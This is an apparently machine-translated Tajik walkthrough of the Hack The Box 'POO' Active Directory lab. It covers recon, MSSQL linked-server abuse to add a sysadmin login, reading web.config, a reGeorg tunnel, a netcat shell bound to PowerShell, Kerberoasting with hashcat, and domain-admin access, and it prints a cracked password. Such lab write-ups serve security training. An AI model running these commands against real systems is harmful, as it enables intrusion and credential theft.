Дар ин мақола мо гузариши на танҳо як мошин, балки тамоми лабораторияи хурдро аз сайт таҳлил хоҳем кард
Тавре ки дар тавсиф гуфта шудааст, POO барои санҷиши малакаҳо дар ҳама марҳилаҳои ҳамлаҳо дар муҳити хурди Active Directory тарҳрезӣ шудааст. Ҳадаф аз он иборат аст, ки мизбони дастрас, афзоиш додани имтиёзҳо ва дар ниҳоят бо ҷамъоварии 5 парчам дар тамоми домен вайрон карда шавад.
Пайвастшавӣ ба лаборатория тавассути VPN аст. Тавсия дода мешавад, ки аз компютери корӣ ё ҳост, ки дар он маълумоти муҳим барои шумо мавҷуд аст, пайваст нашавед, зеро шумо бо одамоне, ки дар бораи амнияти иттилоот чизе медонанд, ба шабакаи хусусӣ ворид мешавед 🙂
маълумоти ташкилй
Барои он ки шумо дар бораи мақолаҳои нав, нармафзор ва маълумоти дигар маълумот пайдо кунед, ман офаридаам
Ҳама маълумотҳо танҳо бо мақсадҳои таълимӣ дода мешаванд. Муаллифи ин ҳуҷҷат барои зараре, ки дар натиҷаи истифодаи дониш ва усулҳои дар натиҷаи омӯзиши ин ҳуҷҷат бадастомада ба касе расонида шудааст, масъулиятро ба дӯш намегирад.
Intro
Ин бозии ниҳоӣ аз ду мошин иборат аст ва 5 парчамро дар бар мегирад.
Тавсиф ва суроғаи мизбони дастрас низ дода мешавад.
Биёед сар кунем!
Парчами боздид
Ин мошин дорои суроғаи IP-и 10.13.38.11, ки ман ба /etc/hosts илова мекунам.
10.13.38.11 poo.htb
Қадами аввал скан кардани портҳои кушода аст. Азбаски барои скан кардани ҳамаи портҳо бо nmap вақти зиёд лозим аст, ман аввал онро бо masscan иҷро мекунам. Мо ҳама бандарҳои TCP ва UDP-ро аз интерфейси tun0 дар 500pps скан мекунем.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Ҳоло, барои гирифтани маълумоти муфассал дар бораи хидматҳое, ки дар портҳо кор мекунанд, биёед сканро бо варианти -A иҷро кунем.
nmap -A poo.htb -p80,1433
Ҳамин тариқ, мо хидматҳои IIS ва MSSQL дорем. Дар ин ҳолат, мо номи воқеии DNS-и домен ва компютерро хоҳем ёфт. Дар сервери веб, моро саҳифаи хонагии IIS пешвоз мегирад.
Биёед директорияҳоро такрор кунем. Ман барои ин gobuster истифода мебарам. Дар параметрҳо мо шумораи риштаҳоро 128 (-t), URL (-u), луғат (-w) ва васеъшавиро, ки ба мо таваҷҷӯҳ доранд (-x) нишон медиҳем.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ҳамин тариқ, мо аутентификатсияи HTTP барои директорияи /admin ва инчунин файли нигаҳдории хидматрасонии мизи кории .DS_Store дорем. .DS_Store файлҳое мебошанд, ки танзимоти фармоиширо барои ҷузвдон нигоҳ медоранд, ба монанди рӯйхати файлҳо, ҷойгиршавии нишонаҳо ва тасвири пасзаминаи интихобшуда. Чунин файл метавонад дар феҳристи веб-сервери таҳиягарони веб ҷойгир шавад. Ҳамин тариқ, мо дар бораи мундариҷаи директория маълумот мегирем. Барои ин шумо метавонед истифода баред
python3 dsstore_crawler.py -i http://poo.htb/
Мо мундариҷаи директорияро мегирем. Чизи ҷолибтарин дар ин ҷо феҳристи /dev аст, ки аз он мо метавонем манбаъҳо ва файлҳои db-ро дар ду шоха бубинем. Аммо мо метавонем 6 аломати аввали номҳои файл ва директорияро истифода барем, агар хидмат ба IIS ShortName осебпазир бошад. Шумо метавонед ин осебпазириро истифода баред
Ва мо як файли матниро пайдо мекунем, ки бо "poo_co" оғоз мешавад. Надонистам, ки минбаъд чӣ кор кунам, ман танҳо аз луғати директория ҳамаи калимаҳоеро, ки бо "co" сар мешаванд, интихоб кардам.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Ва бо wfuzz такрор кунед.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ва калимаи дурустро пайдо кунед! Мо ба ин файл назар мекунем, маълумоти эътимодномаро захира мекунем (бо назардошти параметри DBNAME, онҳо аз MSSQL мебошанд).
Байракро месупорем ва 20 фоиз пеш меравем.
Хуш парчам
Мо ба MSSQL пайваст мешавем, ман DBeaver-ро истифода мебарам.
Мо дар ин база ягон чизи ҷолибе наёбем, биёед муҳаррири SQL эҷод кунем ва санҷед, ки корбарон чӣ гунаанд.
SELECT name FROM master..syslogins;
Мо ду корбар дорем. Биёед имтиёзҳои худро тафтиш кунем.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Ҳамин тариқ, имтиёзҳо вуҷуд надоранд. Биёед серверҳои алоқамандро бубинем, ман дар бораи ин техника ба таври муфассал навиштам
SELECT * FROM master..sysservers;
Ҳамин тавр, мо сервери дигари SQL пайдо мекунем. Биёед иҷрои фармонҳоро дар ин сервер бо истифода аз openquery() тафтиш кунем.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Ва мо ҳатто метавонем дарахти дархост созем.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Гап дар он аст, ки вақте ки мо ба сервери алоқаманд дархост пешниҳод мекунем, дархост дар контексти корбари дигар иҷро мешавад! Биёед бубинем, ки мо дар сервери алоқаманд кадом контексти корбарро иҷро карда истодаем.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Ва акнун биёед бубинем, ки дархост аз сервери пайвастшуда ба мо дар кадом контекст иҷро карда мешавад!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Ҳамин тавр, контексти DBO бояд ҳама имтиёзҳоро дошта бошад. Биёед имтиёзҳоро ҳангоми дархост аз сервери пайвастшуда тафтиш кунем.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Тавре ки шумо мебинед, мо ҳама имтиёзҳоро дорем! Биёед админи худро ҳамин тавр созем. Аммо онҳо ба онҳо тавассути кушодани дархост иҷозат намедиҳанд, биёед онро тавассути EXECUTE AT иҷро кунем.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ва ҳоло мо бо маълумоти корбари нав пайваст мешавем, базаи нави парчамро мушоҳида мекунем.
Мо ин байракро супурда, пеш меравем.
Парчами бозгашт
Биёед бо истифода аз MSSQL shell гирем, ман mssqlclient-ро аз бастаи impacket истифода мебарам.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Мо бояд паролҳо гирем ва аввалин чизе, ки мо аллакай вохӯрдем, ин сайт аст. Ҳамин тариқ, ба мо конфигуратсияи веб-сервер лозим аст (партофтани қабати қулай имконнопазир аст, зоҳиран брандмауэр кор мекунад).
Аммо дастрасӣ рад карда мешавад. Гарчанде ки мо метавонем файлро аз MSSQL хонем, мо танҳо бояд донем, ки кадом забонҳои барномасозӣ танзим шудаанд. Ва дар феҳристи MSSQL мо мефаҳмем, ки Python вуҷуд дорад.
Пас барои хондани файли web.config мушкиле нест.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Бо маълумоти эътимоднома пайдошуда, ба /admin равед ва парчамро гиред.
байраки пой
Дарвоқеъ, аз истифодаи брандмауэр баъзе нороҳатиҳо вуҷуд доранд, аммо аз тариқи танзимоти шабака дида мебароем, ки протоколи IPv6 низ истифода мешавад!
Ин суроғаро ба /etc/hosts илова кунед.
dead:babe::1001 poo6.htb
Биёед бори дигар хостро скан кунем, аммо ин дафъа тавассути IPv6.
Ва хидмати WinRM тавассути IPv6 дастрас аст. Биёед бо маълумоти дарёфтшуда пайваст шавем.
Дар болои мизи корӣ байрақ мавҷуд аст, онро супоред.
П00 байраки
Баъди разведка дар бораи мизбон бо
setspn.exe -T intranet.poo -Q */*
Биёед фармонро тавассути MSSQL иҷро кунем.
Бо ин роҳ, мо SPN-и корбарони p00_hr ва p00_adm-ро мегирем, ки ин маънои онро дорад, ки онҳо ба ҳамла ба монанди Kerberoasting осебпазиранд. Хулоса, мо метавонем хэшҳои паролҳои онҳоро ба даст орем.
Аввалан шумо бояд аз номи корбари MSSQL як қабати устувор гиред. Аммо азбаски дастрасии мо маҳдуд аст, мо бо мизбон танҳо тавассути портҳои 80 ва 1433 иртибот дорем. Аммо трафикро тавассути бандари 80 нақб кардан мумкин аст! Барои ин мо истифода мебарем
Аммо вақте ки мо кӯшиш мекунем ба он дастрасӣ пайдо кунем, мо хатои 404 мегирем.Ин маънои онро дорад, ки файлҳои *.aspx иҷро намешаванд. Барои иҷро кардани файлҳо бо ин васеъшавӣ, ASP.NET 4.5-ро ба таври зерин насб кунед.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ва ҳоло, ҳангоми дастрасӣ ба tunnel.aspx, мо ҷавоб мегирем, ки ҳама чиз барои рафтан омода аст.
Биёед қисми муштарии барномаро оғоз кунем, ки трафикро интиқол медиҳад. Мо тамоми трафикро аз порти 5432 ба сервер мефиристем.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ва мо проксичейнҳоро барои фиристодани трафики ягон барнома тавассути прокси худ истифода мебарем. Биёед ин проксиро ба файли конфигуратсияи /etc/proxychains.conf илова кунем.
Акнун биёед барномаро ба сервер бор кунем
Ҳоло, тавассути MSSQL, мо шунавандаро оғоз мекунем.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ва мо тавассути прокси худ пайваст мешавем.
proxychains rlwrap nc poo.htb 4321
Ва биёед хэшҳоро гирем.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Минбаъд ба шумо лозим аст, ки аз болои ин hashes такрор кунед. Азбаски луғати rockyou ин паролҳоро надошт, ман ҲАМАИ луғатҳои паролҳоро, ки дар Seclists пешниҳод шудаанд, истифода мебурдам. Барои ҷустуҷӯ мо hashcat-ро истифода мебарем.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ва мо ҳарду паролро пайдо мекунем, якумаш дар луғати dutch_passwordlist.txt ва дуюмаш дар Keyboard-Combinations.txt.
Ҳамин тариқ, мо се корбар дорем, мо ба контролери домен меравем. Биёед аввал адреси уро фахмем.
Аҷаб, мо суроғаи IP-и контролери доменро фаҳмидем. Биёед ҳамаи корбарони доменро фаҳмем, инчунин кадоме аз онҳо маъмур аст. Барои зеркашии скрипт барои гирифтани маълумот PowerView.ps1. Сипас, мо бо истифода аз evil-winrm пайваст мешавем, директорияро бо скрипт дар параметри -s муайян мекунем. Ва он гоҳ танҳо скрипти PowerView-ро бор кунед.
Ҳоло мо ба ҳамаи вазифаҳои он дастрасӣ дорем. Корбари p00_adm ба корбари имтиёзнок монанд аст, бинобар ин мо дар контексти он кор хоҳем кард. Биёед барои ин корбар объекти PSCredential эҷод кунем.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Акнун ҳама фармонҳои Powershell, ки дар он мо Creds-ро муайян мекунем, аз номи p00_adm иҷро карда мешаванд. Биёед рӯйхати корбарон ва атрибути AdminCountро нишон диҳем.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ҳамин тавр, корбари мо воқеан имтиёз дорад. Биёед бубинем, ки ӯ ба кадом гурӯҳҳо тааллуқ дорад.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Мо дар охир тасдиқ мекунем, ки корбар мудири домен аст. Ин ба он ҳуқуқ медиҳад, ки ба контроллери домен аз фосилаи дур ворид шавад. Биёед кӯшиш кунем, ки бо истифода аз нақби худ бо WinRM ворид шавем. Ман аз хатогиҳои reGeorg ҳангоми истифодаи evil-winrm ошуфта шудам.
Он гоҳ мо дигареро истифода мебарем, ки осонтар аст,
Мо кӯшиш мекунем, ки пайваст шавем ва мо дар система ҳастем.
Аммо парчам нест. Сипас ба корбар нигаред ва мизи кории худро тафтиш кунед.
Дар mr3ks мо парчамро пайдо мекунем ва лаборатория 100% анҷом ёфтааст.
Ҳамааш ҳамин. Ҳамчун фикру мулоҳиза, шарҳ диҳед, ки оё шумо аз ин мақола чизи нав омӯхтаед ва оё он барои шумо муфид буд.
Шумо метавонед бо мо ҳамроҳ шавед
Манбаъ: will.com